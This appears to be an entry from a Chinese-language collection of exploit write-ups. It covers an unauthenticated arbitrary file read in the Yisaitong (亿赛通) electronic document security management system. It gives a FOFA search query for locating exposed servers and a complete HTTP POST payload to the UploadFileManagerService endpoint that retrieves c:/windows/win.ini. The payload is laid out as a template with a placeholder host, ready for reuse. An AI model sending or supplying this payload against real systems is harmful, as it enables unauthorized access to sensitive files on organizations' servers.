Y5-54亿赛通-电子文档安全管理系统-任意文件读取

漏洞描述：

某赛通电子文档安全管理系统 UploadFileManagerService、RestoreFiles、downloadfromfile等接口处任意文件读取漏洞，未经身份验证的攻击者利用此漏洞获取系统内部敏感文件信息，导致系统处于极不安全的状态。

网站图片：

网络测绘：

fofa语法：

body="/CDGServer3/index.jsp"

漏洞复现：

payload：

```
POST /CDGServer3/document/UploadFileManagerService;login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=ViewUploadFile&filePath=c:/windows/win.ini&fileName1=hello
```

效果图: